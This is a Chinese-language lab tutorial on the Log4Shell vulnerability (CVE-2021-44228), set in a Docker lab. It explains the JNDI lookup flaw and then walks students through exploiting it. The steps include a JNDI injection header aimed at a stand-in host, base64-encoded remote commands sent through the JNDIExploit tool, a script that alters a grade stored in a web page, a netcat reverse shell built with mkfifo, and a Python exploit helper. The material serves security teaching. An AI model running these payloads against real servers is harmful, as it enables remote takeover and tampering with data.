Log4Shell CVE-2021-44228 演示
2021 年底資安界最大的新聞莫過於 Log4j 的漏洞,編號為 CVE-2021-44228,又被稱為 Log4Shell,在 CVSS 漏洞評分系統中被評判為最嚴重等級的 10 分,也被認為是近年來繼 Heartbleed、ShellShock 最重大的漏洞。有人甚至形容它為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。本次專題針對 CVE-2021-44228 進行分析,並且配合 lab 實作。
Logfile(紀錄檔案)是一個記錄了發生在執行中的作業系統或軟體中的事件的檔案,或者記錄了在網路聊天軟體的使用者之間傳送的訊息。許多作業系統、軟體框架和程式都包含紀錄檔系統。Java 有一個很好用的 log 套件,就叫做 Log4j。這個套件是隸屬於 Apache 軟體基金會,因此全名又叫做 Apache Log4j。
Log4j 是一個非常好用的工具,它廣泛地被 Java 程式使用。很多時候軟體工程師會需要將一些執行程式的資料寫入記錄檔中,或是寫入其他的資料庫以供後續使用。這就是 Log4j 的用途,它可以從某個地方接受一個字串 (例如登入畫面上輸入的使用者 ID),然後將字串寫到另一個地方 (例如認證流程的資料輸入欄位)。除了基本的複製/貼上,Log4j 還可以查看並解讀字串的內容。而解讀就是一個危險的動作,因為除非程式先將字串處理乾淨,否則在解讀時很容易發生問題。Log4j 並不會先將字串處理乾淨再解讀,因此攻擊者有機會進行注入攻擊(injection)。
CVE-2021-44228 是一個重大的漏洞,因為它讓 java server 可以被未經身份驗證的攻擊者執行 RCE(Remote Code Execution,遠端執行程式碼攻擊)。該漏洞源於 log4j 如何處理日誌訊息。如果攻擊者發送處理過的訊息(包含類似 ${jndi:ldap://rogueldapserver.com/a} 的字符串),這可能會導致加載 external code class 或 message lookup 並執行該程式,從而導致到 RCE 發生。

以下是 RCE 的基本流程。
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
請先下載 SEED Ubuntu 20.04 VM,此 VM 提供安裝好的 docker 環境。Download
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
# Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
$ dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
為了簡化步驟,所有 server 均在同一個 LAN 之下

在這個 Task 裡使用者可以熟悉一下 log4j 是如何運作的。使用者可以使用 X-Api-Version header 去使用 log4j 紀錄 log
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
如果 Server 有正確解析到你發送的 request,他會回傳一個 Hello World!
請在報告上記錄 Server 回傳的結果跟 Server 是否有正確解析 request 並記錄 log
在 2013 年的時候,Log4j 套件新增了「JNDILookup 外掛程式」,允許開發人員利用 JNDI 結合 LDAP 的方式取得其他外部 JNDITutorial 的 Java 資料物件
接下來我們要用剛剛使用的 log4j 結合 JNDIExploit,讓 Server 執行我們想讓他執行的命令
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
請在 /tmp 資料夾裡建立一個 secret.txt 檔案,並且進入 server 裡確認是否檔案有建立成功
Note-1: <content> 是不能直接放指令的,需要做轉換
Note-2: 因為vulnerable-app沒有/bin/bash這個 shell 可以使用,如果要確認檔案的話可以使用 docker 指令
$ docker exec vulnerable-app ls /tmp
經過前面的 task,我們發現 vulnerable-app 會執行任何攻擊者的 base64 指令,如果攻擊者想做更複雜的操作,他可以傳送shell script攻擊腳本讓 server 執行。
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
上面是一個修改網站成績的腳本,成績存放在index.html內,請先成功執行它並且指出不一樣的地方。然後修改這個腳本,使得成績檔案更改成你想要的數字。
Note-1: 方便修改檔案的方法還有
sed
Note-2: 因為vulnerable-app不能接受使用者透過瀏覽器去查看 /var/www,如果要確認檔案的話可以使用 docker 指令
$ docker exec vulnerable-app cat /var/www/index.html
經過前面的 Task 我們已經可以把我們想執行的指令轉成 base64 讓 server 去執行了,為了完全掌控 server,可以利用指令建立一個 reverse shell
# <> 是使用者需要修改的內容
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
為了方便進行,我們提供一個 python 腳本放便大家進行攻擊
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
Note:
vulnerable-app沒有/bin/bash跟/dev/tcp,所以無法使用普通 reverse shell 的方式,不過我們可以建立一個 pipe 的檔案對它進行讀寫
$ mkfifo <file-name>
https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641